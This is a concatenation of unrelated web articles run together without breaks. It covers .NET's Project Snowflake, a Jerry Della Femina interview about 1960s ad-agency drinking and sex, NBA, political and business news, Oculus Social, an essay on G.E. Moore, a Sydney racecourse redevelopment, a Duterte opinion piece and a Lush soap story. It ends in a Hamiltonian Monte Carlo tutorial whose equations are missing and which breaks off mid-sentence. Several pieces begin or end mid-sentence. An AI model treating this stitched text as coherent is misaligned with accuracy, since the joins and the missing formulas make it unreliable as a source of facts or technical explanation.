He is survived by his wife, Cheryl, and two children. His kids were Joy Charey Mcnair (Daughter) and Reginald Ervin Mcnair (son). McNair was a member of Omega Psi Phi Fraternity.[2]A number of researchers from Microsoft Research, University of Cambridge, and Princeton University have forked.NET, adding an API to the runtime to support manual memory management, and published details of their approach and performance improvements obtained in the paper Project Snowflake: Non-blocking Safe Manual Memory Management in.NET.
Project Snowflake is an attempt to introduce manual memory management in.NET, improvement considered useful for certain applications. Modern programming languages such as C#/.NET use garbage collection to relieve the programmers from the task of managing objects with known benefits regarding development productivity, program stability, memory safety and security. But garbage collection comes with a performance cost which is not perceived for most cases but can be problematic for some. Snowflake researchers cite data analytics and stream processing running on systems with hundreds of GB of heap memory as ones which can benefit from manual memory management.
Snowflake proposes introducing manual memory management in parallel with the garbage collected one, developers generally using the GC mechanisms but also being able to go manually when circumstances call for it. The changes introduced to the runtime would not affect existing applications, and would improve the performance of multithreaded applications. Snowflake enables the "allocation and deallocation of individual objects at arbitrary program locations, and we guarantee that manually managed objects enjoy full type- and temporal- safety, including in the presence of concurrent accesses."
This project introduces two main new concepts, object Owner and Shield, and it is implemented as an API at the CoreCLR and CoreFX level. The Owner is a location in the stack or heap that holds the unique reference of an object allocated in the manual heap. An Owner is obtained from a Shield which is introduced to avoid deallocation of manual objects when accessed by multiple threads. The Shield makes sure the object is removed from the heap only when the last thread using it deallocates it. The research paper explains this in more detail:
Our solution … is inspired by hazard-pointers, a technique originating in the lock-free data structure literature. We introduce a mechanism to publish in thread-local state (TLS) the intention of a thread to access a manual object through one of these owner locations. This registration can be thought of as creating a shield that protects the object against deallocation and grants permission to the thread that issued the registration to directly access the manual object e.g. call methods on it or mutate its fields. At the same time no thread (the same or another) is allowed to deallocate the object and reclaim its memory. Once client code no longer needs to access this object, it can dispose the shield, that is remove the reference to this object from its TLS. It is not safe to directly access the object that has been obtained from a shield, after the shield has been disposed because, following this disposal of the shield, the actual deallocation is allowed to proceed.
The paper includes the results of a number of tests measuring the performance benefits of using Snowflakes against GC in certain scenarios. They obtained "up to 3x savings in peak working sets and 2x improvements in runtime" which represent good savings. This is possible because for very large pools of objects the GC spends considerable time walking the object graph to free up memory.
Microsoft has not elaborated on the plans to include or not the Snowflake technology in.NET, but we can expect future versions of.NET to incorporate something like that considering its non-intrusive and safe mechanism.Enlarge By Jennifer S. Altman for USA TODAY Jerry Della Femina is an advertising executive at Della Femina/Rothschild/Jeary and Partners and was a real-life "Mad man." Enlarge By Craig Blankenhorn, AMC In a scene from "Mad Men," ad execs hang out at a club with women who aren't their wives. GOT A QUESTION? GOT A QUESTION? Got a question about a TV, print or online ad you've seen or about an ad campaign? Ask USA TODAY's Advertising/Marketing reporters. Each Monday, they'll answer a reader question on the Media page, media.usatoday.com.
Send e-mail to: [email protected]. Mad Men— a critics' favorite that recently opened its third season to its largest audience ever — depicts a hard-drinking, chain-smoking, casual-sex-in-the-office lifestyle for top ad agency executives in the 1960s. How much of this is made-for-TV embellishment — and how much is real? AMC cable TV drama— a critics' favorite that recently opened its third season to its largest audience ever — depicts a hard-drinking, chain-smoking, casual-sex-in-the-office lifestyle for top ad agency executives in the 1960s. How much of this is made-for-TV embellishment — and how much is real? USA TODAY marketing reporter Bruce Horovitz took that question to Jerry Della Femina, the veteran ad exec widely regarded as one of Madison Avenue's biggest personalities, most creative thinkers and an over-the-top publicity-seeker. At 73, Della Femina is still a force in the ad biz. He got into it some 57 years ago, starting at age 16 in a Manhattan ad agency mailroom. Currently, he's chairman, CEO and executive creative director at New York agency Della Femina/Rothschild/Jeary and Partners. He's also a successful restaurant owner and a best-selling author. Trade magazine Advertising Age ranks him among the "100 most influential advertising people of the 20th century." In a no-holds-barred interview, Della Femina, known for his trademark shaved head and aviator glasses, sets the record straight: All the drinking, smoking and sex depicted on Mad Men may be an understatement. Q: Did ad agency executives really drink that often — and that much — in the 1960s? A: If anything, it's underplayed. There was a tremendous amount of drinking. Three-martini lunches were the norm. Q: At your agency, too? A: My (former) agency, Della Femina Travisano & Partners, had five top people. We'd go to the Italian Pavilion (now Michael's in Manhattan), and as we walked through the door, the bartender would see us and start shaking the martinis. As we were being seated at the table, he'd put them down. Everyone had one, and without even asking, the second would arrive. Then, while we were still looking at the menu, the third would arrive. Q: This was lunch? A: This was lunch. Then we'd order food and a bottle of wine. Then, when lunch was over, invariably at dessert time, someone would ask for a double scotch and drink it, and then we'd go back to work. Q: How could you possibly work after that? A: The only thing that saved us was that the clients and agencies that we were going back to drank as much as we did. One time, while pitching the Geritol account, my brain was so fried that I asked for far more money than I should have. I realized my mistake and told them — but they were still ready to give it to me. Q: But the show makes it look like everyone kept a bottle or two in their desk drawer. And it wasn't Geritol. A: Bottles in desk drawers were not the exception but the rule. I had an open bar at the agency in which I kept 10 to 15 bottles of booze. Anyone at the agency could walk in and get it. Invariably, one or two guys would come in at 9 a.m., pour a shot and slug it down. It was a business of drinking. The way we lived really would make the characters in Mad Men all look like Rebecca of Sunnybrook Farm. We drank and screwed around. Q: And now? A: Nobody drinks or screws around like that anymore. It all stopped (by the mid 1980s) when the financial guys took over. Maybe the agency chairman can still drink, but not the soldiers. Today it's about people looking at the bottom line. It's changed as a business. Mad Men is celebrating a time that no longer exists. Q: Did agency executives really smoke that much? A: I smoked three to four packs a day. Everybody smoked at all times in all meetings. Once, when I was sitting in a meeting for the Contac account, I had a (lit) cigarette in my hand and another in the ashtray. When I put down the cigarette to do a chalk talk, I tried to light the piece of chalk. Q: Was some of that smoking to kiss up to tobacco company clients? A: We had two R.J. Reynolds brands (Winston Super Kings and Carter Hall pipe tobacco). The R.J. Reynolds guys would get off the elevator on our floor where we had two of those tall ashtrays filled with sand. The RJR guys would claw through the sand to see if there were butts from any other brands. These were executives. They wanted to know what our people were smoking. Q: Did those clients smoke? A: One time I went to visit RJR in Winston-Salem (N.C.). They hosted a big party at some country club, and they had a giant dance floor with everyone milling about. I walked up to the balcony and looked down and noticed that everyone was holding a cigarette — all the clients and all of their wives. But something wasn't right. I noticed that none of the cigarettes were lit. They were simply holding them. They believed the statistics. Q: Do you still smoke? A: I haven't touched a cigarette in 20 years. I have heavy allergies and developed asthma. The doctor said if I touched another cigarette, I'd die. Q: Did agency execs really dress so snappily in the 1960s? A: Yes, people dressed. We went to Brooks Brothers to get our uniforms. We certainly dressed better than any other business. Since we weren't bankers, doctors or lawyers, we could wear suits that were high fashion. The amount of money we had to spend on clothes, well, this was the kind of money we thought we'd never have. All for writing a headline or some body copy or doing a nice layout. It was more money than we could possibly spend. A lot of people were afraid it would go away. And it was that fear that led people to drink, smoke and screw around. Q: As long as you're alluding to it, what about all the office sex depicted on the show? A: There was a tremendous amount of sex. I don't know of a single marriage that survived that time. My first marriage ended after 24 years. Society had changed. Suddenly, it wasn't just the WASP establishment living the good life. Suddenly, there were ethnics and kids — who once hoped they could earn $12,000 per year — earning fortunes. All of this money shocked us people in the middle of it. We lived a Hollywood life. Did I grow up thinking I'd ever be paged at the Beverly Hills Hotel? Did I ever think I'd make so much money writing ads? No. It was a lot of people in a great celebration. But no one wanted to go home. It was too good. There was too much booze, too many cigarettes and too many women. People found themselves in this wonderful gold rush. Mad Men only touches on how wild it was. It was beyond whatever I thought could happen to my life. Q: Can you give one example of this "tremendous amount of sex" at your former agency? A: We used to have an agency "sex" contest near the end of every year. … We'd go to a no-name Mexican restaurant, … and we'd drink giant margaritas all day. It was an idea I had when I realized our people were spending too much time talking and thinking about sex, and not working it. We'd take a blind vote to name the person at the agency you'd most want to go to bed with. We also took a vote on the person of the same sex you'd like to go to bed with. We did this for 15 years. I'd get to announce the winners each year. The first prize was a weekend at The Plaza hotel for the winning couple. Second prize was one night at The Plaza. The third prize was a night on Ron Travisano's office couch. People took this very seriously. Of course, the clients didn't know about it. One year, we had to rip down signs about the contest when a client unexpectedly showed up at the agency. Q: Was this contest for real — or for fun? A: Only one couple took advantage of it. Q: Were you, perhaps, half of that winning couple? A: I did win one year. It was a great honor. My wife even asked me why I got home so late from the party. But, no, I didn't take advantage of winning. ASK THE AD TEAM Q: I would really like to know the age and gender of the person who used Donovan's Catch the Wind in a recent Mass Mutual ad. It's such a fabulous song. And what is Donovan doing now? — Lilly Markons, Windham, Conn. A: The track in the ad is Donovan's original version of Catch the Wind, out in 1965. It plays as the ad shows a father giving up a big job and corner office for a start-up business and home office. Mass Mutual selected the song for the ad, by agency Mullen, because it "captured the appropriate message and feel of a father making difficult decisions in order to spend more time at home with his daughter," says Karen Lavariere-Sanchez, a Mass Mutual spokeswoman. Catch the Wind was the title song on Donovan's break-out album, and the folk singer-songwriter from Scotland followed with 11 consecutive Top 40 hits, including Mellow Yellow, Sunshine Superman and Wear Your Love Like Heaven. Donovan Leitch will be named a BMI Icon at the annual London Awards on Oct. 6 and continues to perform. You can find out about appearances and news at www.donovan.ie. Guidelines: You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. Read moreApr 19, 2017; Oakland, CA, USA; Golden State Warriors head coach Steve Kerr on the sideline against the Portland Trail Blazers during the third quarter in game two of the first round of the 2017 NBA Playoffs at Oracle Arena. Mandatory Credit: Kelley L Cox-USA TODAY Sports
(Reuters) - Golden State coach Steve Kerr’s spinal cord leak procedure went well, the team’s General Manager Bob Myers said on Sunday, but there is no timeline for his return.
Kerr, 51, first hurt his back during the 2015 NBA Finals, and subsequent surgeries and associated pain kept him sidelined for the first 43 games of last season.
The pain and headaches returned after Game 2 of the Warriors’ first-round matchup against the Portland Trail Blazers last month, and assistant coach Mike Brown has filled in during his absence.
“He was at Duke, he had the procedure done Friday,” Myers told reporters in Salt Lake City on Sunday, where the Warriors currently hold a 3-0 lead over the Utah Jazz in the best-of-seven series.
“Even the doctors aren’t entirely sure of recovery time and that’s why we’ve been a little indefinite about everything. We don’t know. But the procedure went well as far as we know,” he said.
“Now it’s a case of how it takes and when he might or might not be back. The good news is it’s on the path to recovery. I wish I could be more definitive.”
The Warriors will look to improve their 2017 postseason record to 8-0 when they play the Jazz on Monday.(CNNMoney) Now the CEO of America's largest employer is taking President Donald Trump to task for his response to the violence in Charlottesville this past weekend.
On Monday, Walmart CEO Doug McMillon said in a note to employees that the president "missed a critical opportunity" in his initial reaction to the "tragic events."
"As we watched the events and the response from President Trump over the weekend, we too felt that he missed a critical opportunity to help bring our country together by unequivocally rejecting the appalling actions of white supremacists," McMillon said.
He added that Trump's remarks on Monday, in which he denounced white supremacists by name, "were a step in the right direction."
"We need that clarity and consistency in the future," McMillon said.
McMillon sits on Trump's economic advisory council, formally known as the Strategic and Policy Forum. Walmart said he will not resign.
"I will continue to strongly advocate on behalf of our associates and customers, and urge our elected officials to do their part to promote a more just, tolerant and diverse society," McMillon said in his memo.
Trump was asked about McMillon's statement when he took questions from reporters at Trump Tower on Tuesday afternoon, but the president didn't say much.
Related: CEOs under fire to dump Trump
"The head of Walmart -- who I know, who's a very nice guy -- was making a political statement," Trump said.
The number of top executives who have come out against the president continues to grow.
The CEOs of Under Armour, Intel and Merck all quit Trump's manufacturing council on Monday to protest his failure to immediately denounce white supremacists. The president of the Alliance for American Manufacturing announced his resignation on Tuesday.
Other members of the Strategic and Policy Forum have also weighed in on what happened in Charlottesville. But none have resigned.
Stephen Schwarzman, the CEO Blackstone who chairs the initiative, said, "Bigotry, hatred and extremism are an affront to core American values and have no place in this country."
And PepsiCo CEO Indra Nooyi tweeted Sunday that she was "heartbroken by the violence in #Charlottesville."
"Hate and intolerance are a betrayal of what we stand for as Americans," she said.U.S. President Donald Trump sits for an interview with Reuters in the Oval Office of the White House in Washington, U.S., April 27, 2017. REUTERS/Carlos Barria President Donald Trump handed out copies of the 2016 electoral map during an interview with Reuters reporters on Thursday.
Trump invited Reuters reporters Stephen J. Adler, Steve Holland and Jeff Mason to the Oval Office for a extensive interview ahead of his 100-day milestone on topics ranging from his adjustment to presidential life to the possibility of conflict with North Korea.
During a discussion about Chinese President Xi Jinping, Trump stopped to hand copies of the 2016 electoral map to each of the reporters. Areas of the US Trump won were marked in red.
"Here, you can take that, that's the final map of the numbers," Trump said, according to Reuters. "It's pretty good, right? The red is obviously us."
Here's a picture of the map:
Reuters/Carlos Barria; Harrison Jacobs/Business Insider
And all three:
U.S. President Donald Trump sits for an interview with Reuters in the Oval Office of the White House in Washington, U.S., April 27, 2017. REUTERS/Carlos Barria
The results of the 2016 election, in which Trump beat Democratic nominee Hillary Clinton, has remained a focus for Trump even as he transitioned into the Oval Office. Shortly after the election, he began propagating a baseless claim that he garnered fewer popular votes because of "millions" of illegal votes. He has also routinely brought up his electoral victory in public appearances.Now that our Saga giveaway has ended, we wanted to choose something pretty sweet for our next giveaway. We've found the perfect option.
Want to read superhero comics, but don't know where to start? Or perhaps you're tired of capes and tights and superheroes feel stale to you. The perfect solution for you is Hawkeye, Vol.
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Oculus VR this week launched Oculus Social for Samsung's Gear VR viewer.
Gear VR users can create profiles on Oculus Social and search out friends via real names or handles.
The company, which has yet to ship its own virtual reality headset, also released two social games to encourage more friending on Oculus Social: Herobound: Gladiators and Social Trivia.
In Herobound: Gladiators, players team up to take arms in a clash between demons and goblins in the fighting pits of arena battlefields. Social Trivia sits friends down at a virtual table and pits their wits against each other in a classic game of know-it-all.
Oculus Social also has been upgraded to allow users to create rooms in which they can hang out with friends in the virtual space, watching content such as Twitch streams or Facebook videos.
The team deployed a Facebook Video tab in Oculus Social. Next week, the company will give users the ability to sync their Facebook and Oculus Social profiles so that they can personalize their feeds of 360 video content.
Weeks from now, Oculus Social will support the liking and sharing of Facebook 360 videos.
Social Society
Parent company Facebook has been planning to use Oculus Social to change the inherently exclusionary nature of VR, according to Charles King, principal analyst for Pund-IT.
"First, the company indicated that Oculus users will be able to share space in VR, interacting socially, chatting, watching films and competing in trivia games," he told TechNewsWorld. "Second, the company announced a multiplayer game service that appears to make use of some social features, though details on that appear sketchy."
Social experiences might be what VR needs to establish itself firmly in the mainstream. It can be difficult to sell VR experience via the flat screens and 2D images the world has known for decades.
VR is definitely a new era, said Stephanie Llamas, VR lead at SuperData.
The firm recently updated its forecast for VR and found that experiences like the ones Gear VR provides will bring in US$1.8 billion in revenue from hardware and software sales by the end of next year. The mobile VR market will swell to roughly $4.5 billion the year after that.
"Rather than consider it a hardware peripheral, we should be looking at it as a standalone hardware device just like TV or computers," Llamas told TechNewsWorld. "This is the beginning of a completely new way to consume media -- at least once adoption reaches critical mass."
Sewn Together
VR's progression appears to be more of a continuation of current trends than a fork in the road, Pund-IT's King said.
"Virtual reality technology has been around in one form or another for the better part of three decades, and much of what Facebook and Oculus are doing is derivative of those past efforts," he said. "But multiplayer online gaming and immersive social experiences also have a lengthy history."
Multiplayer games have long allowed players to communicate with one another to discuss strategy, King reasoned. In the case of immersive social experiences, the industry saw that take off with the launch of Second Life more than a decade ago.
"With Oculus Social, Facebook appears to be taking some pages from these past efforts and spinning them with a VR slant," he said. "It'll be interesting to see what the company comes up with that's actually new, and whether it can avoid the pitfalls and mistakes that tripped up others."
Quinten Plummer is a longtime technology reporter and an avid PC gamer who explored local news for a few years, covering law enforcement and government beats, before returning to writing about things run by ones and zeros and the people who make them. If it pushes pixels or improves lives, he wants to learn all he can about it.“…we think that the world would be improved if we could substitute for the best works of representative art real objects equally beautiful.”
—G.E. Moore, Principia Ethica (§117,¶ 2)
I don’t buy it.
Consider the statue of David. Now ask yourself, “Would this be more or less beautiful if it were an actual man standing on the pedestal?”
Of course not. After all, part of what makes the statue beautiful is the sculptor’s feat of realistic detail. So if the statue was replaced with the real David, then part of the artistic beauty would be lost. And a significant part no less. After all, people don’t travel across the world just to gaze at men who look like the statue of David. They only do that to see the statue itself.
Real Stuff More Generally
But maybe Moore wasn’t talking about the real versions of what is represented by a particular piece of art. Maybe he meant something more general. For example, maybe Moore meant that, in general, any real thing will be more beautiful than any piece of representative art.
That seems to be consistent with the quote. Moore says that it is “real objects equally beautiful” that should replace representative art, not the real version of the particular thing being represented by a particular piece of art. So, continuing with our example, we need not compare statue of David with the real David. We could compare the statue with any real thing.
So what real thing would be “equally beautiful” when compared to the statue of David?
Geez. I don’t know. The statue of David is pretty darn beautiful. And people come from all over to see it. What competes with that? Ooo! What about one of the wonders of the world? What about the Grand Canyon? If the Grand Canyon is as beautiful as the statue of David, then replacing the statue with the canyon might make the world more beautiful.
But that also seems false. I have no desire to replace the Statue of David with a Grand Canyon.
Fabricated Stuff
Here’s another way to construe Moore’s thought: We prefer the real experience to a fabricated version of it.
Think about theme parks. Theme parks often recreate fake versions of real places. And when you visit the theme park’s representations of these real places, you might find yourself wishing that you were experiencing the real thing — I do. But why is that? Is it because we think the real experience is necessarily more beautiful?
I don’t think so.
What we find disappointing about theme park fixtures is not merely that they are fabrications. What is disappointing about the theme park fabrications is that we can see that they’re fabrications. And we can see it is a fabrication because its not as impressive as the genuine article.
So ask yourself: what if we couldn’t tell the difference between the real version and the artist’s version of a beautiful thing? Would the real version be more beautiful than the other?
I don’t think so. After all, if we cannot even discern which version is real and which version is fabricated, then I don’t think we could discern a difference in beauty.
So What Was Moore Thinking?
Whatever Moore meant, it is not obvious. And it is certainly not obviously true. Real things don’t necessarily seem to be more beautiful than representative art.
Image credit: “David von Michaelangelo” by LeaW licensed under CC by 3.0 adapted by [Unknown] and Nick Byrd.Canterbury Racecourse site. The racecourse, about 300 metres from Canterbury Station, is now firmly on the Department of Planning's radar. A preliminary planning process is looking at the suitability of the site for a new residential community with heights ranging from three to 18 storeys. "The master plan will consider all of the racecourse land and will consider the potential for new homes as well as open space and community facilities," a department of planning spokesman said. It is understood the ATC has no immediate plans to sell the site. It is constrained by a 10-year legal requirement preventing its sale until 2021 at the earliest. The moratorium on the sale was imposed when Sydney Turf Club, which owned the racecourse, and Australian Jockey Club merged to become the Australian Turf Club in 2011. Richard Colley, administrator of Canterbury-Bankstown council, described the racecourse as a "very significant site due to its size and location".
He said the council was yet to have any discussions with state government in relation to the masterplan and said any future planning needed to prioritise schools, houses and roads "before housing numbers and targets are set". "It is time we started to plan for people first, then buildings, not the other way around." A planning department spokesperson said final building heights, the number of homes that could be built on the racecourse, and the potential for open space would be determined through the master planning process. However, recent large-scale urban developments in the inner Sydney area give an indication of the racecourse's lucrative development potential.
In 2010, the sale of Harold Park Paceway, in Glebe, to Mirvac netted NSW Harness Racing Club $187 million. The developers built 1250 units across the 11-hectare site, costing $1 billion. In Erskineville, a $1.6 billion development is under way to build 1600 apartments on the seven-hectare Ashmore industrial estate. The NSW government's interest in the potential redevelopment of the racecourse was flagged in a revised Sydenham to Bankstown development strategy, released last month. The upgrade of the train line to more frequent "metro" trains next decade has prompted the government to push for 35,000 new homes along the corridor. Drawing on advice commissioned from the urban consultancy firm, JBA, the strategy included the racecourse as part of a new "priority precinct" around Canterbury station, where 4000 new homes are already expected to be built by 2036 through zoning changes. The strategy identified the racecourse as ideally suited to medium to high-rise residential development between three and 18 storeys, potentially adding thousands more homes. Background planning documents, commissioned by the government in the course of developing the strategy, also identified the site as a suitable location for a new school.
The inclusion of the racecourse in the revised plans represents a significant change in the department's planning strategy for the area. The racecourse redevelopment potential was not considered by initial strategy released in 2015, other than a reference to it as a "significant opportunity site should its current use change". A department spokesperson said its inclusion in the new plans was driven by "feedback from the community, including from the Australian Turf Club, recommending the racecourse be investigated for new homes and open space". However the ATC's submission, also prepared by JBA and lodged in 2016, advocated only the rezoning of parts of the racecourse, totalling 6.5 hectares, which it considered "surplus to the operations of the racecourse". In 2015, the ATC flagged its plans to sell off these surplus parcels of land, which are on the fringe of the racecourse and are mostly used for car parking. The Department of Planning said there was no timeframe yet on the preparation of the racecourse master plan. Once it is prepared, it will be put on public exhibition for the community to provide feedback.Duterte’s Flip-Flop Into Bed With China Is a Disaster for the United States
International relations theorists of a “realist” persuasion like to claim that states are rational actors pursuing their strategic interests in an anarchic world where power alone matters. Ideology and domestic politics do not much concern these thinkers; they believe that a nation’s foreign policy is much more likely to be shaped by factors such as geography, demography, and economics.
This was the viewpoint of Richard Nixon and Henry Kissinger, who famously tried to realign China from being a foe of the United States to a friend — never mind that the Chinese leader they had to deal with was Mao Zedong, one of the worst mass murderers in history. “Nixinger” believed, correctly, that China’s interest in countering Soviet power would lead it to draw closer with the United States.
But even in the case of China the applicability of realist insights was limited. China did not begin the transformation that would make it a leading economic force and trade partner of the United States until Mao had died, replaced by the reformist Deng Xiaoping. Even today China is more foe than friend of America.
Today, the Philippines is Exhibit A in illustrating the limits of the realist conceit that some unvarying strategic logic governs foreign policy. The Philippines has seen a vertigo-inducing change in its foreign-policy orientation since Rodrigo Duterte became president this summer. This crude populist is now transforming the Philippines’ relationship with the United States in a fundamental and worrying manner.
The Philippines is America’s oldest ally in Asia, and until recently one of the closest. The United States ruled the Philippines as a colonial power from 1899 to 1942 and implanted its culture in the archipelago. In World War II, U.S. and Filipino troops fought side by side against the Japanese occupiers. In 1951, Washington and Manila signed a mutual defense treaty. For decades afterward, the Philippines hosted two of the largest U.S. military installations overseas at Clark Air Force Base and Subic Bay Naval Base. Those bases were closed in 1991 amid a wave of anti-Americanism, but the U.S. military presence has been ramping up again as the Philippines felt increasingly threatened by Chinese military expansionism. In 2014, President Barack Obama signed an agreement with then-President Benigno Aquino III that would allow U.S. forces more regular access to bases in the Philippines and increase the tempo of training exercises and military cooperation between the two countries.
Now that achievement looks increasingly like a dead letter. Duterte journeyed to Beijing this week to announce his “separation from the United States” in military and economic terms. “America has lost,” Duterte said. He claimed that a new alliance of the Philippines, China, and Russia would emerge — “there are three of us against the world.” His trade secretary said the Philippines and China were inking $13 billion in trade deals; that’s a pretty hefty signing bonus for switching sides. Duterte said he will soon end military cooperation with the United States, despite the opposition of his armed forces.
What could account for this head-snapping transformation? Manila’s strategic and economic interests have not changed. While China is the Philippines’ second-largest trade partner, its largest is Japan, a close American ally and a foe of Chinese expansionism. The third-largest trade partner is the United States. The fourth-largest is Singapore, another U.S. ally that is concerned about China’s vast territorial ambitions and aggressive behavior. Taken together, the Philippines sends 42.7 percent of its exports to Japan, the United States, and Singapore, compared with only 10.5 percent to China and 11.9 percent to Hong Kong. The Philippines gets 16.1 percent of its imports from China; almost all of the rest comes from the United States and its allies, including Japan, Taiwan, Singapore, and South Korea. So it’s not as if there is an especially pressing economic case for the Philippines to realign from the United States to China.
There is a pressing strategic case, however, not to do so. China continues to assert sovereignty in the South China Sea in violation of Philippine claims, as an international court ruled in July in a case brought by Duterte’s predecessor. China wants to grab for itself what could be billions of dollars’ worth of natural resources, from fish to oil, in the South China Sea.
Moreover, the Philippine people remain largely pro-American. English is the lingua franca of the Philippines. The Armed Forces of the Philippines have many decades of cooperation with the United States and have been built in the image of the U.S. military; they have no experience working with China’s People’s Liberation Army. Moreover, and despite Duterte’s nasty rhetoric and ad hominems, the United States continues to express its desire to protect the Philippines.
This massive geopolitical shift is entirely Duterte’s doing. It cannot be explained any other way. It is a product of his peculiar psychology.
He has long been ideologically hostile to the United States — he has called Obama a “son of a whore” — and he feels an ideological affinity with China’s authoritarian rulers. Although elected democratically, Duterte is a strongman in the making. He has already violated the rule of law to unleash death squads that are said to have killed at least 1,900 people, including a 5-year-old boy, in the name of fighting drugs. He has cited Hitler as his role model: “Hitler massacred 3 million Jews. Now, there is 3 million drug addicts. I’d be happy to slaughter them.” He has also said “I don’t give a shit” about human rights. China’s rulers don’t put their worldview quite so crassly, but they, too, don’t care much for human rights. The Duterte-Xi Jinping marriage thus seems like a natural match.
From the American viewpoint, Duterte’s flip-flop — assuming it leads to a lasting strategic shift — is a potential disaster. Aligned with the United States and its regional allies, the Philippines can provide a vital platform to oppose Chinese aggression in the South China and East China seas.
If the Philippines becomes a Chinese satrapy, by contrast, Washington will find itself hard-pressed to hold the “first island chain” in the Western Pacific that encompasses “the Japanese archipelago, the Ryukyus, Taiwan, and the Philippine archipelago.” Defending that line of island barriers has been a linchpin of U.S. strategy since the Cold War. It now could be undone because of the whims of one unhinged leader.
China could either neutralize this vital American ally or even potentially turn the Philippines into a PLA Navy base for menacing U.S. allies such as Taiwan, Japan, and Australia. At the very least, the U.S. Navy will find it much harder to protect the most important sea lanes in the world; each year $5.3 trillion in goods passes through the South China Sea, including $1.2 trillion in U.S. trade.
The opposition is already making hay over Duterte’s China trip. A Supreme Court justice in Manila has warned the president that, were he to give up sovereignty over the Scarborough Shoal, it could result in his impeachment. The only good news from the American standpoint is that what Duterte is doing could be undone by a more rational successor, assuming that democracy in the Philippines survives this time of testing.
Max Boot is a senior fellow at the Council on Foreign Relations.
Photo credit: Thomas Peter-Pool/Getty ImagesSuzanne Barakat, the sister of a Muslim student killed alongside his wife and sister-in-law last year in an attack in North Carolina, challenged Donald J. Trump to meet with her after a speech in which he spoke approvingly of killing Islamic terrorists with bullets dipped in the blood of pigs.
Dr. Barakat, 28, a physician in San Francisco, said the comments and other anti-Muslim rhetoric from Mr. Trump, including a proposal to ban Muslims from entering the country, have contributed to an atmosphere of intolerance that she fears could have deadly consequences.
“It allows for the Average Joe to see Muslims the way Craig Hicks saw my brother and his wife of six weeks and her sister,” she said, referring to the man who killed her relatives last February. “As ‘The Other,’ as subhuman, because of their faith.”Get Stuff We Love Subscribe to our newsletter.
March 22, 2016, 5:58 PM GMT / Source: TODAY By Alex Whittler
Dentists often caution us of a little “pink in the sink” when gums are sensitive, but there was no warning for the latest surprise to go down — or sprout out of — the drain.
People are fascinated (and freaked out) by a new Lush cosmetic brand soap bar that is apparently growing sprouts out of their sinks and shower drains.
LushUSA.com
The $11.95 “Wiccy Magic Muscles” massage bar, which looks a bit like a science project already, promises to reduce muscle pain and soreness with the use of all-natural aduki (or adzuki) beans.
This small, dark red and edible bean is known for its sweet taste and purported health benefits and, according to the Lush site, it "work(s) into the muscles like firm fingertips for a relaxing massage."
RELATED: TODAY investigates the all-natural makeup and skin care movement
They’re grown throughout East Asia and the Himalayas and now... your own bathroom!
Once these little guys make their way down a sink or shower drain, they apparently sprout and grow. Take a look at some posts reacting to the miniature beanstalk in their powder rooms, ranging from genuinely freaked out to pleasantly amused.
No matter the reaction, it turns out that customers are using the bar all wrong!
RELATED: EOS lip balm caused blisters, rash, lawsuit claims
Lush's product and brand training manager, Jeff Brown, told TODAY the product isn’t intended for water use at all — it’s a lotion meant to be massaged onto dry skin.
“We didn’t expect those little beans would find a way to grow... knowing that the beans may germinate when left in water,” Brown explained. “We would definitely encourage customers to be conscious of using the product correctly and to keep an eye out for stray beans if they choose to use it in the bath or shower.”
Some Lush lovers even took to Twitter to clarify that point:
Despite the online outcry, Brown said this ordeal actually helps the cosmetic brand.
RELATED: WEN by Chaz Dean sued for hair loss and adverse effects
“We do love to use as many whole, natural ingredients as we can in our products and in a way, this serves a reminder of just how real those ingredients are,” he said.
"Besides," he continued. “You should save them; those beans would probably rather grow in a flower pot than a drain pipe anyway!”
The Lush "Wiccy" massage bar: Relaxing muscles and going green, one drain at a time.The random-walk behavior of many Markov Chain Monte Carlo (MCMC) algorithms makes Markov chain convergence to a target stationary distribution inefficient, resulting in slow mixing. Hamiltonian/Hybrid Monte Carlo (HMC), is a MCMC method that adopts physical system dynamics rather than a probability distribution to propose future states in the Markov chain. This allows the Markov chain to explore the target distribution much more efficiently, resulting in faster convergence. Here we introduce basic analytic and numerical concepts for simulation of Hamiltonian dynamics. We then show how Hamiltonian dynamics can be used as the Markov chain proposal function for an MCMC sampling algorithm (HMC).
First off, a brief physics lesson in Hamiltonian dynamics
Before we can develop Hamiltonian Monte Carlo, we need to become familiar with the concept of Hamiltonian dynamics. Hamiltonian dynamics is one way that physicists describe how objects move throughout a system. Hamiltonian dynamics describe an object’s motion in terms of its location and momentum (equivalent to the object’s mass times its velocity) at some time. For each location the object takes, there is an associated potential energy, and for each momentum there is an associated kinetic energy. The total energy of the system is constant and known as the Hamiltonian, defined simply as the sum of the potential and kinetic energies:
Hamiltonian dynamics describe how kinetic energy is converted to potential energy (and vice versa) as an object moves throughout a system in time. This description is implemented quantitatively via a set of differential equations known as the Hamiltonian equations:
Therefore, if we have expressions for and and a set of initial conditions (i.e. an initial position and initial momentum at time ), it is possible to predict the location and momentum of an object at any point in time by simulating these dynamics for a duration
Simulating Hamiltonian dynamics — the Leap Frog Method
The Hamiltonian equations describe an object’s motion in time, which is a continuous variable. In order to simulate Hamiltonian dynamics numerically on a computer, it is necessary to approximate the Hamiltonian equations by discretizing time. This is done by splitting the interval up into a series of smaller intervals of length. The smaller the value of the closer the approximation is to the dynamics in continuous time. There are a number of procedures that have been developed for discretizing time including Euler’s method and the Leap Frog Method, which I will introduce briefly in the context of Hamiltonian dynamics. The Leap Frog method updates the momentum and position variables sequentially, starting by simulating the momentum dynamics over a small interval of time, then simulating the position dynamics over a slightly longer interval in time, then completing the momentum simulation over another small interval of time so that and now exist at the same point in time. Specifically, the Leap Frog method is as follows: 1. Take a half step in time to update the momentum variable:
2. Take a full step in time to update the position variable
3. Take the remaining half step in time to finish updating the momentum variable
The Leap Fog method can be run for steps to simulate dynamics over units of time. This particular discretization method has a number of properties that make it preferable to other approximation methods like Euler’s method, particularly for use in MCMC, but discussion of these properties are beyond the scope of this post. Let’s see how we can use the Leap Frog method to simulate Hamiltonian dynamics in a simple 1D example.
Example 1: Simulating Hamiltonian dynamics of an harmonic oscillator
Imagine a ball with mass equal to one is attached to a horizontally-oriented spring. The spring exerts a force on the ball equal to
which works to restore the ball’s position to the equilibrium position of the spring at. Let’s assume that the spring constant, which defines the strength of the restoring force is also equal to one. If the ball is displaced by some distance from equilibrium, then the potential energy is
In addition, the kinetic energy an object with mass moving with velocity within a linear system is known to be
,
